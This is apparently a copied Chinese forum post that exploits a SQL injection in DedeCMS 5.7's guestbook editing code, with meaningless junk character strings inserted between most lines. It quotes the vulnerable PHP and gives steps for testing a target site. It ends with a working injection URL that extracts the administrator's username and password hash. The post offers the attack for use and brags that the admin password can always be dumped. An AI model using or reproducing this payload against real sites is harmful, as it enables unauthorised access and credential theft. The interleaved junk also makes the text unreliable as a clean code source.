影响版本为5.7
: O! G* g- u. G5 ^# Q
$ s- p6 y( j/ O' Q: t' p, `漏洞文件edit.inc.php具体代码:
, A$ z' F' g9 f( M$ b
! |) V8 o( J: l: X$ t< ?php
0 l8 N4 K% ?$ a3 ~6 K# s
9 n0 e2 D' C' W8 j+ Fif(!defined('DEDEINC')) exit('Request Error!');
- z) [* s3 N, Z: {( k* { Q; H0 V
, z5 x$ F, r, ?2 v5 m$ y# `, H& B 7 R8 o- Y' X- o8 h
3 Q. p+ x- K8 U7 Q2 E5 }) C
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; # k! y5 p: K+ p# i. \
1 W' t1 c' O4 f" I, `else $GUEST_BOOK_POS = "guestbook.php";
& ~/ T) d3 Z% d+ r+ v3 x. @# F
% ]" y3 M3 V0 S8 G/ [, H" m
! |6 x- g& J! f- o: N6 h! l3 O6 Y
$id = intval($id);
9 E# L' ?9 L9 }7 o/ g+ o5 I* U; \+ t
) {# k3 J- A4 x) Zif(empty($job)) $job='view';
! A8 T- E2 X0 K/ e
( P: q, ^1 _8 L% S3 x. M 8 e' l9 C5 s7 ]3 G" E( f B8 _
5 G* P0 s9 O1 x
if($job=='del' && $g_isadmin)
, T* a2 H# f8 R% C# C
! I5 V' D y Y4 X4 z2 g+ t: s9 ?{
/ @ D) A5 E2 a; q1 P7 P5 I' U, x" I* K2 F* p0 H9 P" {/ N" L3 A
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ! A; q, z% ~% Y0 K, Y+ I' R
! ~4 z# }3 |3 ?$ b+ n1 W7 ]) NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
! k! k9 {2 L9 Y. {" z/ i
, }6 X9 ^! }; m- R. d3 v% D1 Fexit(); . ?: k6 a0 D; q2 f1 I$ E3 v
$ E" L, A$ E; N3 ]}
7 g% y$ I5 }. ^1 W4 \, t' t; i. X7 T) u+ ^8 N& _' N/ {! t/ G: n
else if($job=='check' && $g_isadmin)
* f; x& \, |2 g h4 D# X; F, V! N. y" f7 j
{
$ k8 C1 t# w0 k; N# l4 q! Q" @ D7 W
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 8 c& T3 E" F3 e" R, w& B0 u9 M" w
" ^# A4 [+ Z3 i3 T5 p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
7 V/ o% G f+ I( T* U* G O& M: y
# p8 ^' ^% L: @/ xexit(); 9 F7 j8 l7 d$ N' M, a7 B
; N/ w8 \/ K$ \. w q; L} 7 ~ Q. x: |% E5 \
) g8 d% E: Q, H) |4 ~% aelse if($job=='editok')
0 c) V0 R% T/ s% l* W# j+ R! V- I4 M# @2 A( L' V7 Z
{
% @' ^5 X' T/ B2 f" Y7 o# Z
4 p5 l. x: Y% K+ b$remsg = trim($remsg); 7 M$ Q$ f& @6 b0 O1 r( e3 \' n
f% @! J0 v. v1 K Y8 G, ~# yif($remsg!='') 2 x* y5 W+ g3 x
* g8 s- S" |4 o P. N% g{
+ \. D- Y% K2 @3 i W5 R1 `7 n+ P% ` ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc 0 B( j$ C, V9 h s
' x% @/ P& t9 Wif($g_isadmin) , r- W/ i/ ]3 N8 N# G! P! o+ q
, \+ C7 \% E- {
{
+ T6 K. t: ~( {$ m' x+ F. d; Y6 T
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 5 {$ |) B. L- G9 { N( I
( ?9 D% f' s& }3 _% Q//$remsg <br /><font color=red>管理员回复:</font> } ! C4 F1 c, Q9 [/ _) m
$ O" g T" |; u
else @8 @5 N. S/ f( [2 s
( L/ h8 W) @6 z5 a* ]7 f' d% W7 @1 D{
2 K& v' N. T% m w5 x* `& |( }" z( [/ i z! Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
. r1 O# a# p8 I2 `7 X1 I, ? C( `3 [2 d+ [0 @8 E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ! _2 O/ {8 D* n2 j) S
c( V. n0 S# K4 V t" Q* p
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
6 t+ p0 a4 Q9 C& }* r& y
; Z- q) ] A% f; V u$msg = $oldmsg.$remsg; 2 e! ~3 W0 L4 x* B# G/ c( c
' n" r! p' b4 Q% H} 9 y8 I3 ]$ z, `3 t$ k9 Q5 F! Y
3 _' a% T% ]1 q0 B- E6 B/ O2 G
}
4 A+ g0 S" e" {
% G+ x1 c* c1 ^9 m& Z' i" S" ]//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
6 U8 T( ^* T1 w0 Q, _& k j; L) H+ P! k% G
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); $ E* f/ L8 f: O& _1 _2 Y+ ?
4 g, v Z1 j7 W5 H# t: ?9 x
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); % `9 W; c& q% ?% q% k3 v
( I! j- b; W! k b' [1 k* p
exit(); : i2 u% x# h" ]+ N3 c
4 C8 P( A2 s- ~# P
}
$ P, j |- l2 X; f( H! x. E' h1 w/ X7 h% w, @4 ?2 H, z
//home:www.errs.cc 1 U8 w0 @9 C- ]) B; z" V
' e3 W1 S7 L0 C' j* q
if($g_isadmin) 7 ?* \+ k) Z9 ~6 ~
/ H0 ~* s# m% w{
$ D. r9 q6 M9 N# u% B9 P- E1 ~
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
' Y" s, K" S1 `" }& G1 l8 {' }6 ]3 I( `2 }5 O2 Y c9 ?; u
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); : f- _$ Z! o% W
0 o: Q' U6 W2 y; b u; m$ J1 u
}
6 C0 [4 m* Z5 G* e$ H* `5 K& l/ W5 ~
else 4 W7 B0 U6 G; j# `
* V% }; A5 J/ X{
6 M1 y" s) O% @* l0 y5 B7 H$ ~9 r3 A$ H4 S8 f: {6 i
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
3 l* Y9 y) H- ?8 _
' d( M5 ^$ j9 C# K1 x- Q" L1 Erequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); + g/ {; s* X( l3 o/ L" i0 k
$ K: T' H- ^$ K- _& I I
} 漏洞成功需要条件:! z l ^5 U# J* ]: W
1. php magic_quotes_gpc=off! x, l2 y+ e& X+ j& T6 l
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
# g0 x) f- \- X. V% E2 y& H
2 v- V* J- e5 P8 o3 |/ m怎么判断是否存在漏洞:
$ C1 W" I' \2 q- B: {+ _8 ?6 I先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,4 X$ C) r; z( B& _6 D
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID. W( v9 U9 N8 u& y6 {$ R3 G0 R# ?
访问:9 P% @ T7 m9 p8 y5 y9 f
- T4 P) m$ X( P9 i) D% T/ h& fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 B0 \$ }7 n. s4 w跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证2 u: t) l4 @/ P. N4 w
8 g/ a/ o6 Z9 e- B* K
3 Q( _! W* a8 T7 s- G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off( i w: w( @* c, \
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。3 @# o# I2 P; x* F
那么再次访问% j) q! Q8 e7 E0 O
; ?4 L+ O' y/ R* ^
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. y- Y8 b5 c9 s y' j( L1 d
% D7 W9 o+ I# b/ c1 j大概利用就是这样,大家有兴趣的多研究下!!4 N0 _- a- `& H
, e( k" m- o" Q) i1 L' Z$ n8 p/ T
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ ?( Q5 A8 Q& T- J) A/ n3 ?
/ w+ z" m( p7 g; [6 l( [/ i! e1 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |